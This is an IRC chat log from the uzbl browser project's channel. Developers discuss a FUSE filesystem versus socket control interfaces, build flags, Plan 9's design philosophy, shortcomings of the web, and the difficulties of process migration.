22:59 < Dieterbe> jrm8005: probably a unix socket would be better suited.
22:59 < eekee> damn, now I wish I'd bought cookies while I was out
22:59 < jrm8005> Dieterbe: yeah, sorry, that's what I meant. You need bidirectional.
23:00 < jrm8005> although, and I know this is probably bad since it would bloat it, what about writing a filesystem interface?
23:00 < bct> Dieterbe, and then share that handler instance with all uzbl instances somehow?
23:00 < jrm8005> FUSE works on Mac.
23:00 < Dieterbe> bct: with all uzbl instances configured to use that socket, yes
23:00 < bct> we could turn uzblctrl into something like wmiir for people that don't want to use FUSE...
23:00 < jrm8005> bct: yeah
23:01 < bct> i do like fs interfaces.
23:01 < Dieterbe> wait.. why would a virtual fs be any better then a few sockets/fifo's?
23:01 < jrm8005> Dieterbe: cleaner
23:01 < bct> it pushes some of the complexity out of the protocol
23:01 < jrm8005> other programs can talk to the files
23:01 < jrm8005> if you use sockets, you might lose that.
23:02 < ruskie> sheesh... the ppl in #tor seem to be useless... asking if there's any way to hook tor+privoxy into a webkit browser effectively I get shit from 2 people about using firefox with torbutton
23:02 < bct> it's like REST vs. RPC :)
23:02 < jrm8005> Dieterbe: you'd be able to echo commands to the cookie program, formfiller, etc.
23:02 < jrm8005> you could also hook up an auth system (*cough* factotum *cough*)
23:03 < jrm8005> you also wind up carting around the whole namespace with a single mountpoint instead of tons of fifos and sockets that have to be created and may or may not be orphaned.
23:04 < jrm8005> oh, I forgot about network transparency. You could import the uzbl filesystem from another computer. Or export it.
23:05 < jrm8005> control your browser with your phone from 10 feet away.
23:05 < Dieterbe> and how can regular users write custom scripts that interact with the filesystem? not only "push" changes to it, but also receive commands from it?
23:05 < jrm8005> Dieterbe: reads can block
23:05 < jrm8005> since you implement the read routines.
23:05 < jrm8005> you can also serve up two versions of a file, one that blocks, one that does not.
23:06 < Dieterbe> that implies you cannot parralellize ? or you can?
23:06 < jrm8005> you can get whatever mix you wish.
23:06 < jrm8005> generally, if you want to listen to something for data, you make blocking files, and the users just fork a listener (or amke a listener thread)
23:06 < jrm8005> the thread/proc blocks until there's data
23:07 < Dieterbe> but users should be able to write simple perl/shell/.. scripts
23:07 < jrm8005> Dieterbe: the FS doesn't have to block, you make the user process block when it calls read.
23:09 < Dieterbe> i don't really see how users would still be able to write shellscripts and such that "hook into" such a FS
23:10 < jrm8005> Dieterbe: they just dump data into the files, or read data from them
23:10 < eekee> I think read calls can optionally be non-blocking
23:10 < Dieterbe> i see
23:10 < jrm8005> the thing is you make the files accept the same commands that the uzbl FIFO does
23:10 < jrm8005> since you're making a synthetic file, you can make it act like a full-duplex FIFO
23:11 < ruskie> hmm if I'm reading this proxy support in uzbl and networking is provided by uzbl directly? not webkit?
23:12 < Dieterbe> jrm8005: i'm not sure.  it sounds quite good, but also somewhat more complicated.  and i for one am not really bothered by a few fifo/socket files. maybe if there are simple lightweight libraries existing for such virtual Fs's...
23:13 < jrm8005> Dieterbe: there are. The FUSE C api is ridiculously simple.
23:13 < jrm8005> you just have to write a read/write handler routine.
23:13 < jrm8005> unless you want subdirectories, but that's still pretty easy.
23:14 < jrm8005> http://github.com/jrm8005/xorgfs/blob/48b12e6d696bc54f76c8c7e5adeeaf656e1381f1/xorgfs.c
23:14 < Dieterbe> i also want DuClare and rob|'s opinions on this
23:14 < jrm8005> take a look at xorg_read, which is really mostly the only code I wrote in there, the rest was from a template
23:15 < dxdx> i'd rather write a FUSE wrapper that uses the socket
23:15 < jrm8005> I just compare to see if the path requested is one of the two files I serve, then construct the reply.
23:15 < jrm8005> dxdx: that's doable, but you'd need to have a protocol for the socket.
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23:15 < dxdx> jrm8005: don't we have already?
23:15 < jrm8005> e.g., you'd need to identify that X message is a cookie request.
23:16 < jrm8005> dxdx: it will need to be more complex if it will handle things like cookies.
23:16 < jrm8005> but either way, it will work
23:17 < dxdx> well, a cookie request could be just like any other command
23:17 < jrm8005> dxdx: I agree, it's still a communication protocol, though
23:17 < jrm8005> and like I said, whether the FUSE fs is a module in uzbl or a separate program talking to the socket is mostly immaterial. Either way is cool
23:18 < Dieterbe> jrm8005: could you send your proposal to the ML ? and maybe briefly explain the advantages and disadvantages, say what's wrong/suboptimal with the current approach etc.
23:18 < jrm8005> Dieterbe: I sure can
23:19 < jrm8005> shall I CC: you?
23:20 < dxdx> Dieterbe: about changing the current socket protocol (command-newline-reply-newline), i've thought about adding payload size parameters
23:21 < dxdx> because sometimes newlines are needed inside a message
23:22 < jrm8005> dxdx: good point
23:22 < dxdx> also, i still don't know what to do if uzbl needs to write in the socket anything that is not a reply
23:22 < jrm8005> dxdx: such as?
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23:23 < dxdx> Dieterbe: i'm highlighting you because i'd like to know how should we proceed when breaking compatibility with the previous protocol
23:23 < eekee> emit a prefix to indicate normal reply or error?
23:23 < dxdx> jrm8005: notifications, or maybe for a socket that handles cookies
23:24 < jrm8005> dxdx: ah. Well, a duplex protocol would be more robust, probably.
23:24 < dxdx> notifications will probably be useful for scripts like uzbl_tabbed that need to know when the title/url changes
23:24 < dxdx> jrm8005: duplex in what sense?
23:25 < jrm8005> In that either side can initiate a message.
23:25 < jrm8005> although I think an FS would eliminate the need for a communication protocol
23:25 < jrm8005> since you won't be muxing everything on a single socket.
23:25 < dxdx> no thanks
23:26 < jrm8005> ?
23:26 < Dieterbe> jrm8005: not needed. i read every mail on the ml
23:26 < dxdx> jrm8005: i don't like the idea of having FS as the primary interface and leaving socket behind
23:27 < jrm8005> dxdx: why?
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23:27 < dxdx> that is just my opinion
23:27 < jrm8005> dxdx: ok, but I think writing a protocol is a lot harder than writing an FS.
23:27 < dxdx> well, maybe that FUSE is linux-specific?
23:27 < jrm8005> dxdx: no, it's not.
23:27 < jrm8005> the bsds and Mac can use it.
23:27 < dxdx> plan9 doesn't use it (?)
23:28 < jrick> yeah, bsd user over here just checked that
23:28 < jrick> or else I would be complaining :)
23:28 < jrm8005> dxdx: no, plan9 uses 9p
23:28 < jrm8005> jrick: I wouldn't have suggested it if it were Linux only :)
23:28 < bct> but how will i use uzbl on windows?
23:28 < bct> :'(
23:28 < Cheeseum> all hail glenda
23:29 < jrm8005> dxdx: you also get rid of the problem with needing to do notifications.
23:29 < dxdx> jrm8005: no thanks
23:29 < jrm8005> since things like uzbl_tabbed will just have a thread that reads a file and blocks.
23:29 < eekee> maybe windows has some ipc thing?
23:29 < jrm8005> eekee: 9p might work?
23:29 < eekee> oh it might, yeah
23:30 < dxdx> wait, what?
23:30 < jrm8005> someone should have ported FUSE to winblows by now.
23:30 < dxdx> 9p on windows?
23:30 < dxdx> this is madness
23:30  * bct goes through 11 layers of gui to mount uzbl on Z:\
23:31 < eekee> lol
23:31 < jrm8005> not really, making a protocol might be crazier.
23:31 < jrm8005> especially debugging it for non-progress cycles, etc.
23:31 < jrm8005> there's also the possibility of the single socket getting essentially DOS'd.
23:31 < jrm8005> and you also can't export the domain socket across a network ;P
23:32  * bct files a bug report: no silverlight support.
23:32 < jrm8005> bct: wouldn't the plugin just work with webkit?
23:33 < bct> darn, you're probably right
23:36 < dxdx> jrm8005: turning a unix stream socket into TCP is piece of cake
23:36 < jrm8005> dxdx: of course then you have to secure it.
23:36 < jrm8005> and do auth.
23:36 < jrm8005> if you did an FS, that (and encryption) would be handled for you
23:37 < dxdx> i'd just listen on 192.168.0.0/24
23:37 < bct> and also with an FS you could export it over webdav
23:37 < bct> :D
23:37 < jrm8005> dxdx: my network is not set up that way.
23:37 < dxdx> config...
23:38 < bct> truly the web 2.0est of browsers.
23:38 < Dieterbe> oh dear
23:38 < jrm8005> and I may want to get in with my phone, which goes though the cell network, not internal to my network
23:38 < dxdx> but i'll say it again: i'm not against FUSE, i just want it to be implemented through the socket
23:38 < dxdx> not inside uzbl
23:39 < jrm8005> ok
23:39 < eekee> dxdx: what if the fuse code is simpler than the socket making/preserving/deleting code? ;)
23:40 < bct> it's really just a matter of opinion whether FUSE should be outside and the socket inside or vice-versa.
23:40 < jrm8005> bct: there would be no socket outside.
23:40 < jrm8005> but basically.
23:40 < bct> jrm8005, i know
23:40 -!- mode/#uzbl [+o Dieterbe] by ChanServ
23:40 < dxdx> oh shi-
23:40 < bct> but i'm saying if someone really wants a socket interface they'd be free to do that.
23:41 < bct> just as if we stick with the socket someone who wants FUSE is free to layer it on top of the socket.
23:41 -!- Dieterbe changed the topic of #uzbl to: Uzbl is a browser that adheres to the unix philosophy. --> uzbl.org <--  ALWAYS check diffs when merging AND when pulling in new stuff - This channel is logged.  See http://www.uzbl.org/irc-log
23:41 < jrm8005> bct: yeah, actually, you could implement a communications protocol in a server
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23:42 < jrm8005> and actually move the whole socket thing to a separate program.
23:42 < dxdx> oh, i thought Dieterbe was going to kick us for flaming (?)
23:42 < Dieterbe> lol :)
23:44 < eekee> :)
23:45 < Dieterbe> man i'm glad i'm not linus torvalds or one of those other guys. reviewing and merging in code is a hell of a lot work :/
23:45 < jrm8005> Dieterbe: yeah, Linus luckily trusts a few people to merge stuff and only has to deal with them
23:46 < jrm8005> but people like Andrew and Greg who take patches from all sorts of people ... I don't know how they do it.
23:46 < eekee> Linus burned out a long time back, when he was trying to review all the patches
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23:47 < jrm8005> eekee: yeah. Andrew similarly did a while back. When he sent the ``this just isn't working anymore'' email
23:47 < eekee> Ouch
23:47 < jrm8005> now we have linux-next. It helps. Hopefully Rothwell doesn't get burnt out, either.
23:47 < jrm8005> but I guess linux-next doesn't really try to merge stuff, it gives up and tells people their code doesn't merge so it gets fixed downstream before it makes Linus/Andrew sad.
23:49 < Dieterbe> that sounds good
23:50 < Dieterbe> it's the contributors that have to write good patches :)
23:50 < jrm8005> Dieterbe: yeah, the Linux development community has done its best to make the process as painless as possible.
23:50 < jrm8005> there are still rough spots, but it's pretty good.
23:51 < Dieterbe> i think i'm off
23:51 < jrm8005> ok. Email will be sent shortly. Thanks for listening to my rant.
23:52 < Dieterbe> no, thank you.  the amount of great input i'm getting from various people is really good
23:53 < Dieterbe> if i would implement it all the way i think it should be done, uzbl would have been much crappier
23:54 < jrm8005> Dieterbe: indeed. Open dev is the way to go. I hope the others like my idea.
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00:00 < dxdx> why is CPPFLAGS in the current makefile?
00:01 < dxdx> oh wait, CPP = c preprocessor and CXX = c++?
00:01 < jrm8005> yes.
00:02 < dxdx> jrm8005: any idea on why isn't there a $(CFLAGS) at the end of the new CFLAGS definition?
00:02 < jrm8005> dxdx: to include globally-set user flags.
00:02 < jrm8005> like gentoo's make.conf kind of thing.
00:02 < dxdx> yeah, the point is that it isn't there
00:02 < jrm8005> oh oh
00:02 < dxdx> so it is ignoring user cflags?
00:03 < jrm8005> I dunno.
00:03 < jrm8005> forgot, likely.
00:03 < jrm8005> *sigh* I wish we had plan9... </sys/src/mkfile
00:03 < jrm8005> and it's all done for you...
00:03 < dxdx> what does that do?
00:04 < jrm8005> it handles telling it the architecture, variables, etc.
00:05 < jrm8005> plan9 -> one set of sources and mkfile compiles to any architecture.
00:05 < jrm8005> or all architectures.
00:05 < jrm8005> and the system figures it out.
00:05 < jrm8005> (actually, I think it's </$cputype/mkfile)
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00:08 < dxdx> oh shi-, -lgthread-2.0 is in CFLAGS and -pthread is in LDFLAGS
00:08 < jrm8005> yeah
00:09 < dxdx> according to my pkg-config -pthread seems to be fine in both, but -lgthread-2.0 is for LDFLAGS only
00:09 < jrm8005> hm/
00:09 < jrm8005> yeah, not too thrilled with gtk anything.
00:10 < dxdx> who uses ld and gcc separately anyway..
00:10 < jrm8005> I'd like to see a libdraw wrapper for webkit
00:10 < dxdx> libdraw?
00:10 < jrm8005> it's a port of plan9's graphics library to *nix
00:11 < dxdx> and that is because you think the API is awesome, or that you want a decent browser for plan9?
00:12 < jrm8005> dxdx: the API is awesome.
00:12 < jrm8005> I doubt anyone will get webkit+all the plugins to plan9
00:13 < jrm8005> the API is so fucking easy to use.
00:13 < dxdx> then write the port yourself (?)
00:13 < jrm8005> no time.
00:14 < jrm8005> more-than-full time job, grading, hobby projects, talks, life in general
00:15 < dxdx> pay someone to do it (?)
00:15 < dxdx> typical lazy "open source" solutions
00:16 < jrm8005> dxdx: no moneys.
00:16 < eekee> firefox has been built for plan 9 linuxemu, why not webkit? :)
00:16 < jrm8005> eekee: yeah, I know little of linuxemu
00:16 < jrm8005> but I'm talking about a browser that uses Plan 9's style of GUI.
00:16 < jrm8005> basically, an abaco that actually works.
00:18 < lazzareth_> Nice work Dieterbe on the pull last night, I'm off to work today but if you have any problems ill get to them asap.
00:18 < lazzareth_> Catcha guys.
00:20 < eekee> jrm8005: I was thinking "if it's going to deal withthe web it might just as well be linuxish, but maybe I'm wrong
00:21 < jrm8005> I think that, like plan9port, some clever work could hide the shittiness of the web.
00:21 < jrm8005> I think uzbl has the potential to do it.
00:21 < bct> is there an essay somewhere by 9p people about what's wrong with the web?
00:21 < jrm8005> bct: not generally.
00:22 < bct> i'm curious, because i generally sympathize with that camp
00:22 < bct> but as terrible as some things about the web are, i really like the other parts.
00:22 < eekee> I think it's the same as computing in general: bolt bits together that sound good, get people hooked on the shinies...
00:22 < jrm8005> there are many papers about different things, which talk about why some things are bad, and about other things that are good that the web does backwards.
00:23 < eekee> the web's not all bad
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00:23 < bct> where's a good place to start jrm?
00:23 < jrm8005> bct: cat-v.org has many papers
00:24 < jrm8005> basically the core ideas are keeping things simple, separated, uniform, speaking with text and filesystems.
00:26 < bct> that's largely what the web is IMO
00:26 < bct> the places that it isn't cater to people that like big shiny things.
00:26 < bct> and i'm not sure that any philosophy that only applies to technical people can help them.
00:28 < jrm8005> no, the whole web is built on a morass of intermingled technologies and bad standards.
00:28 < eekee> I'm not sure I agree with that
00:28 < jrm8005> take youtube for example.
00:28 < jrm8005> embedded content, weird things preprocessing the file representation then calling out to another weird program.
00:28 < jrm8005> you should just have a search page that links to simple video files.
00:29 < bct> i would prefer that too
00:29 < bct> but your average web surfer wouldn't.
00:29 < eekee> jrm8005: that's a philosophy that only pleases technical people :)
00:30 < jrm8005> no, I think it's a framework you can build a good UI on top of.
00:30 < bct> where's this UI? on the client or on the server?
00:30 < jrm8005> browsers could then be simpler, and call out to whatever media player you want.
00:30 < jrm8005> client.
00:30 < bct> ah, yeah. i'd like that too.
00:30 < jrm8005> so, I don't have to use youtube's player, I can use whichever I want.
00:31 < bct> but not only would your average web surfer hate it
00:31 < jrm8005> also, it would make crossreferencing easier.
00:31 < bct> your average website owner would hate it.
00:31 < jrm8005> bct: no, it would be good for end-users.
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00:31 < jrm8005> their browser would know what to do with the file
00:31 < jrm8005> and if they don't know how to get a different media player, it will just work.
00:31 < jrm8005> but if you *want* one, you can do it easily.
00:31 < jrm8005> (c.f. plan9 plumbing)
00:32 < jrm8005> webmasters would like it because they don't have to write JS or Flash. Just do a <video>
00:32 < jrm8005> OH HEY, they're starting to do that!
00:32 < bct> unfortunately they're obsessed with control over what the user sees.
00:32 < jrm8005> right:
00:33 < jrm8005> simple thing, you allow the protocols to disallow duplication of the files.
00:33 < jrm8005> so I can't copy them off the server, just stream them.
00:33 < jrm8005> although, I think that is stupid.
00:33 < jrm8005> youtube likes to think I can't get their files, but I can.
00:33 < bct> and impossible if it's going to an arbitrary client application.
00:33 < eekee> yeah. For a browser/viewer/thing to respect what the content creator tried to produce is one thing. For the creator to require WYSIWOG is quite another
00:33 < jrm8005> so really, adding a `noncopyable' attribute is stupid and pointless (now, and in my hypothetical universe_
00:33 < bct> it's like people who try to stop you from saving their images by disabling right-click using js
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00:34 < jrm8005> bct: how can anyone stop me from getting their content now
00:34 < jrm8005> ?
00:34 < jrm8005> if I can see it, I can save it.
00:34 < bct> they can't, but they like to be able to pretend they can.
00:34 < jrm8005> so you appease them with some functionality in the protocol
00:35 < jrm8005> all in all, I think it's trivial to solve.
00:35 < jrm8005> problems will arise, challenges are there
00:35 < jrm8005> but it is definitely doable.
00:35 < jrm8005> the web does not have to suck this hard.
00:35 < jrm8005> hopefully uzbl can cover some flaws.
00:35 < bct> ok, so it's not an issue with the structure of the web
00:36 < jrm8005> bct: a bit, I mean, the web has an ok structure.
00:36 < bct> it's an issue with the dominant culture of it.
00:36 < jrm8005> no, also the protocols and design is flawed.
00:36 < jrm8005> the connectivity is good.
00:36 < jrm8005> packaging of information is getting bad
00:36 < jrm8005> things like having html/php/js/flash on one page.
00:36 < jrm8005> that's just obscene.
00:37 < bct> that's what i'm calling a cultural problem.
00:37 < bct> as opposed to a design/structural/fundamental problem
00:37 < eekee> ohhh
00:37 < bct> what would you call a design problem?
00:37 < jrm8005> I already said.
00:37 < jrm8005> that's not a cultural problem.
00:38 < jrm8005> it's a hack around problems inherent in the shitty design.
00:38 < jrm8005> it's not the community's fault for wanting to do something and being inexperienced and lacking the clout to make fundamental changes to the tech.
00:38 < bct> ok, so let's take a usecase.
00:38 < jrm8005> it's the fault of the people with the experience and the clout to not make their framework do what it needs to do well.
00:39 < bct> i want to be able to send/receive data to/from a site without having to refresh the entire page
00:39 < bct> what's your ideal solution?
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00:40 < jrm8005> separate updatable parts of the site into multiple files/etc. and maintain communication channels for things like POST
00:41 < jrm8005> so you can update only the logially coherent bit of the site that you want to update.
00:41 < jrm8005> in essence, you have what you calli n multithreading a `critical section'
00:41 < jrm8005> the update of which must be atomic.
00:42 < bct> so for doing continuous updates the server is pushing instead of the client polling?
00:43 < jrm8005> no, the client can poll.
00:43 < jrm8005> if you want a ``client should ask for this every 6 seconds'' that's doable
00:44 < jrm8005> you could have an extensible attributes protocol, much like the plan9 plumber's messages.
00:44 < bct> ok, but the point is that it's declarative rather than imperative?
00:44 < jrm8005> to send metadata
00:44 < jrm8005> it doesn't have to be.
00:44 < eekee> gah, can't run 2 uzbls from the same terminal
00:44 < jrm8005> I mean, you could send along some script that tells the client what to do with the files.
00:45 < bct> but... isn't that exactly what javascript and xmlhttprequest do?
00:45 < jrm8005> bct: hackishly.
00:45 < jrm8005> I really think that some page shouldn't be doing whatever it wants.
00:45 < jrm8005> it's my computer, and I'm the one viewing it.
00:46 < jrm8005> how would you like it if a book could just turn the lights on in your house?
00:46 < bct> there's no disagreement there, i just don't see the distinction that you're making.
00:47 < bct> what's "hackish" and what wouldn't be in this context?
00:48 < jrm8005> bct: I don't really have time to explain.
00:48 < bct> fair enough.
00:48 < jrm8005> you have to realize, a lot of people think 9fans talk insanity because we can't just explain years of experience in 2 monites.
00:48 < jrm8005> I encourage you to read osme of the papers on cat-v.org.
00:48 < bct> i will do so.
00:49 < jrm8005> maybe email the maintainer. He's kind of mean, but you might be able to guise it like a ``Could you give me your ideas on why the web kind of sucks''
00:49 < bct> and one of these days i'm going to get around to trying p9 (but i've heard getting hardware working is tricky)
00:50 < bct> haha, ok :)
00:50 < jrm8005> bct: you can get it on Linux in a vm: 9vx
00:50 < jrm8005> also, there's plan9port, which brings some of the programs over
00:50 < jrm8005> and if you have any old PC hardware over (I hear thinkpads are best if you want a laptop solution), it will work
00:50 < bct> half of an experience can be worse than none
00:50 < jrm8005> yep
00:50 < bct> but i'll definitely give 9vx a try
00:50 < jrm8005> the only thing I can say is this:
00:51 < bct> and my main laptop is an old-ish thinkpad.
00:51 < jrm8005> plan9 will not make sense at first, and iwll never make sense if you just have one machine
00:51 < jrm8005> it's meant to be a distributed system, really
00:51 < bct> hmm, ok.
00:51 < jrm8005> if you want to screw around, 9gridchan will let you use their resources for free.
00:51 < jrm8005> you can also have multiple 9vx's talk.
00:53 < jrick> lol, in the last two days all I've been hearing about is plan9 stuff. Up until then, I've never even heard of it
00:54 < jrm8005> jrick: that's the sad problem of plan 9.
00:54 < jrm8005> it's amazing, it's much better designed, but it is unknown.
00:54 < jrm8005> you can literally do things like import another machine's /dev/audio and play sound on it form your machine.
00:54 < jrick> that's cool
00:54 < jrm8005> you know how hard it is to do that on Linux? Oh, use mpd... ick, oh, use ssh, ick, and slow.
00:55 < jrm8005> there are no sockets.
00:55 < jrm8005> it's all files in /net.
00:55 < jrick> yeah, if I wanted to do something like that, I'd use xmms2
00:55 < jrm8005> so you can write a webserver in shell script.
00:56 < jrm8005> you can make a NAT just by importing another computer's /net fs into yours.
00:56 < jrm8005> (union/bind mounting it)
00:56 < bct> the metaphor doesn't break horribly anywhere?
00:56 < jrm8005> nope.
00:56 < jrm8005> I have two problems, but they are soluble.
00:57 < jrm8005> first, /proc isn't as cool as it could be. I'd like to see process migration done through it, but there are huge, huge issues with that.
00:57 < jrm8005> as it is, though, you can use your debugger on a remote /proc entry.
00:57 < Cheeseum> plan9: everything is a file, literally
00:57 < jrm8005> the other thing is that a lot of things are done via services.
00:58 < jrm8005> basically, how do you mount something that isn't an FS? You need to have some handle that you can mount from.
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00:58 < jrm8005> so there's a /srv directory with those services.
00:58 < jrm8005> but the thing is, the kernel provides a ton of special services, and they aren't in /srv
00:58 < jrm8005> the mount system call checks to see if you're mounting something like '#a'
00:59 < jrm8005> I think the kernel should populate all that in /srv
00:59 < jrick> Cheeseum: that's how I hear unix described to a lot of windows users when they start asking things like "where's the C: drive?"
00:59 < jrm8005> jrick: right, but plenty of things aren't files in Unix.
00:59 < jrick> yeah, I realize that
01:00 < jrm8005> yeah.
01:00 < jrm8005> sockets, the window system.
01:00 < jrm8005> even devices are too special
01:00 < jrm8005> plan 9 has no ioctl
01:00 < jrm8005> every device is a char dev, and has a ctl file.
01:00 < bct> it was a very cool experience when i discovered cat /dev/urandom >/dev/mouse
01:00 < jrm8005> so you can talk to them in text
01:00 < bct> i'd love to get that feeling back :)
01:00 < jrm8005> bct: stuff like that is all over the place in Plan 9
01:00 < jrm8005> an echo server is probably like 10 lines of shell script.
01:01 < jrm8005> just has to listen, then cat the in file to the out file.
01:01 < jrm8005> it's amazingly powerful
01:02 < jrm8005> and yet simple, laconic, and almost spartan at the same time.
01:02 < jrm8005> I'm astounded by the amazingly powerful things you can do with so few features.
01:02 < jrm8005> it's just about picking the right features and giving them ways to work together.
01:02 < jrm8005> I'd die without the plumber on Linux these days.
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01:04 < jrick> bct: cat /dev/mem > /dev/dsp0.0
01:04 < jrick> ;)
01:05 < jrick> maybe it's /dev/audio on linux
01:05 < jrm8005> /dev/dsp works.
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01:05 < jrm8005> my gripe is that you can't network export is.
01:05 < jrm8005> it(
01:06 < jrm8005> and you can't do echo 'volume 95' > /dev/audioctl
01:06 < jrm8005> you know how GNU ps became an entirely userspace app that just read files when /proc was invented?
01:06 < jrick> I don't know anything about gnu tools
01:06 < jrm8005> imagine that happening for just about everything that needs to talk to any device, network, anything
01:06 < jrm8005> jrick: even the bsd ps
01:07 < jrm8005> it probably just reads out of /proc.
01:07 < jrick> /proc is empty
01:07 < jrick> I think it's just there for linux emulation
01:07 < jrm8005> :\ You should use procfs!
01:07 < jrick> which I'm not using atm
01:07 < jrm8005> no, I'm pretty sure they added it outright independently.
01:07 < jrm8005> /proc started with V8 unix.
01:09 < jrick> yeah, man procfs says that ps(1) requires /proc
01:09 < jrm8005> yep
01:09 < jrm8005> now think about your mixer just talking to a file.
01:10 < jrm8005> or being able to do 'cat /dev/window > pic.png'
01:10 < jrm8005> or /dev/draw (for the whole screen)
01:10 < jrick> that would make things a lot simpler
01:12 < jrm8005> indeed it does.
01:12 < jrm8005> half the things that are programs on Linux/BSD are just scripts that echo the right message to the right file on plan 9
01:12 < jrick> lol, still listening to /dev/mem
01:13 < jrm8005> heh
01:15 < eekee> :D
01:15 < jrick> sounds like trance music
01:16 < eekee> I should try that, I have oss4 on the linux side
01:17 < jrm8005> I want oss4 so that Russ's Juke script will work with Firefox.
01:18 < eekee> it's neat but it kills flash
01:18 < jrm8005> oss4?
01:18 < eekee> heh, it's like recieving an alien transmission mostly lost in the bg static on a radio with bad connections... oh wow just got a signal before it dropped :D
01:19 < eekee> jrm8005: yeah, a company developed oss & later released it as gpl
01:20 < jrm8005> no, I meant ``does oss4 kill flash? Why?''
01:21 < eekee> now it sounds like east european trance
01:21 < eekee> oh! well I don't think any of the flash substitutes will use oss
01:21 < eekee> I guess y9u can still keep alsa. I didn't
01:24 < eekee> actually no you can't keep alsa, it's a driver layer
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01:24 < eekee> I don't think libsalsa builds, but I could be wrong
01:24 < jrm8005> you can't build alsa with oss4.
01:24 < jrm8005> you have to leave it out of the kernel.
01:25 < eekee> oss4 removes the alsa modules if it finds them
01:25 < eekee> mmm
01:25 < eekee> so ya, no flash
01:25 < jrm8005> eekee: and probably does something horrifying if you have alsa built in
01:25 < jrm8005> eekee: how do you youtube?
01:25 < eekee> haha didn't think of that
01:26 < jrick> I used to run flash with linux emulation, and I don't have alsa
01:26 < eekee> oh youtube is easy with a little help. The media urls are exposed in the embedding tags
01:26 < jrm8005> oh, I think there's something like alsa's aoss thing, except for the other way around
01:26 < eekee> libsalsa
01:26 < eekee> I didn't try it
01:26 < jrm8005> salsa... mmmm
01:26 < eekee> :)
01:26 < jrick> haha
01:27 < eekee> I think I couldn't get it to compile, but I don't remember if I was trying something stupid at the time
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03:48 < scj> N30N: yet another link follow script? :)
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04:06 < N30N> scj: you try it? :)
04:08 < N30N> string matching is nicer than vimperator now, need to clean it up n andd the other methods next
04:08 < N30N> s/andd/add/
04:11 < jrick> N30N: what did you add?
04:13 < N30N> not much yet (it's WIP)
04:14 < N30N> changed the numbering, string matching, exits input when focusing a input/textarea...
04:15 < N30N> didn;t like how the old one added zeros the the front
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04:17 < jrick> I don't mind them really, in vimperator, if you want to follow link 2, you have to do 2<enter>, or else it may think you want 20
04:17 < jrick> if you have 20 links, taht is
04:17 < jrick> s/taht/that/
04:18 < jrick> hmm, I restarted polipo and now my webpages load a lot faster. didn't change any settings...
04:19 < N30N> polipo the prefered proxy around here?
04:20 < jrick> I could never get privoxy working
04:20 < jrick> and I read that it doesn't support things like http pipelining
04:21 < F> anyone have tabs working yet?
04:21 < scj> N30N: no, I haven't tired it, linkfollow works well enough for me
04:24 < dxdx> F: did you try the one by lazzareth, merged today into experimental?
04:24 < F> dxdx: no. i havent.
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04:25 < N30N> grr compiled the webkit trunk and still getting seg faults on some wikipedia pages :(
04:27 < jrick> which ones?
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04:27 < jrick> (obviously not the sausage one) ;)
04:27 < N30N> http://en.wikipedia.org/wiki/Bla
04:27 < dxdx> F: http://www.uzbl.org/wiki/uzbl_tabbed
04:28 < N30N> it's only a prob on x86_64 it seems
04:28 < dxdx> just for the screenshots, the "download" stuff is outdated
04:28 < jrick> N30N: ah
04:29 < N30N> ah acid3 works not tho, that used to segfault too
04:29 < N30N> s/not/now/
04:34 < dxdx> http://cryopid.berlios.de/
04:35 < dxdx> it would be pretty cool to freeze single uzbl instances to save memory
04:35 < jrm8005> I'd like to see migration.
04:35 < jrm8005> and snapshotting is the first step.
04:36 < jrm8005> but things like sockets and file descriptors are so hard.
04:36 < dxdx> they seem to have that working
04:36 < jrm8005> yes, but in yellow.
04:36 < jrm8005> and for process migration, it will go back to red.
04:36 < dxdx> not really
04:37 < dxdx> read what it says
04:37 < jrm8005> huh?
04:37 < dxdx> "Open files and offsets are restored. Temporary files that have been unlinked and are not accessible on the filesystem are always saved in the image. Other files that do not exist on resume are not yet restored. Support for saving file contents for such situations is planned."
04:38 < jrm8005> dxdx: I said it would go back to red if you did migration.
04:38 < dxdx> jrm8005: i don't get how
04:38 < jrm8005> because what if you move a process with connection to machine B from machine A to machine C, but machine C can't talk to machine B
04:38 < jrm8005> hmm?
04:40 < dxdx> well, established fixed connections are not a requirement in http
04:40 < jrm8005> ...
04:41 < jrm8005> wow, dude.
04:41 < dxdx> what?
04:41 < jrm8005> you just really seem to not be getting anything I'm saying right now.
04:41 < jrm8005> perhaps I shall try again later.
04:42 < dxdx> could you explain why, at least?
04:42 < jrm8005> I don't know how to explain it better than my example.
04:42 < jrm8005> if you don't understand/accept that, then I really do not know what to say.
04:43 < jrm8005> your HTTP comment was just ... ludicrous.
04:43 < dxdx> thanks (?)
04:43 < jrm8005> there is more to the internet and much more to sockets than http...
04:43 < dxdx> do you want to migrate a JVM?
04:44 < jrm8005> wtf are you smoking?
04:44 < jrm8005> process migration.
04:44 < dxdx> i'm talking about uzbl and webkit, and webkit with simple sites without any plugins
04:44 < jrm8005> I said I want to see process migration
04:45 < dxdx> did you read that link which says that migration works just like freezing, right?
04:45 < jrm8005> but it doesn't.
04:45 < dxdx> where does it fail?
04:46 < jrm8005> I told you.
04:46 < jrm8005> connection from A -> B, migrate to from A -> C, no connection to B from C.
04:46 < jrm8005> context cannot be restored.
04:47 < dxdx> wait, what kind of connection is that?
04:47 < jrm8005> socket
04:47 < dxdx> you mean that CryoPID keeps connections in migrated processes?
04:48 < jrm8005> dude.
04:48 < jrm8005> wtf.... you mentioned a thing that does snapshots, I said it will be hard when they do migration.
04:51 < dxdx> ok, ok
04:51 < dxdx> you meant that established outgoing connections are broken, right?
04:52 < jrm8005> any connection regardless of direction or which side started it can potentially be broken.
04:52 < jrm8005> incoming connections are particularly sticky.
04:52 < dxdx> ok, all connections are broken
04:52 < dxdx> but uzbl is not a server
04:52 < jrm8005> how do you tell incoming connections that what they were talking to is now over *there*
04:52 < jrm8005> so?
04:53 < jrm8005> also, not all connections are broken.
04:53 < jrm8005> outgoing connections to hosts reachable from the host the process is migrating to may be reestablishable.
04:53 < dxdx> yeah, but only if the kernel supports tcpcp to do so, i just read that
04:54 < jrm8005> dxdx: doesn't matter, even if they have it, these problems are essentially intractable.
04:54 < dxdx> but i say it again: you can safely stop http connections
04:54 < jrm8005> is every connection http?
04:54 < dxdx> most of them
04:54 < jrm8005> you are naive.
04:54 < jrm8005> most connections are *not* http.
04:54 < dxdx> in uzbl?
04:55 < dxdx> i'm talking only about uzbl and webkit
04:55 < jrm8005> I'm not talking about uzbl, because in the context of process snapshotting, that is stupid.
04:55 < dxdx> then we are talking about different things
04:55 < jrm8005> no one is going to write a C/R/M program that works for JUST http
04:55 < jrm8005> yes, but your view is leaving out things that it can't leave out.
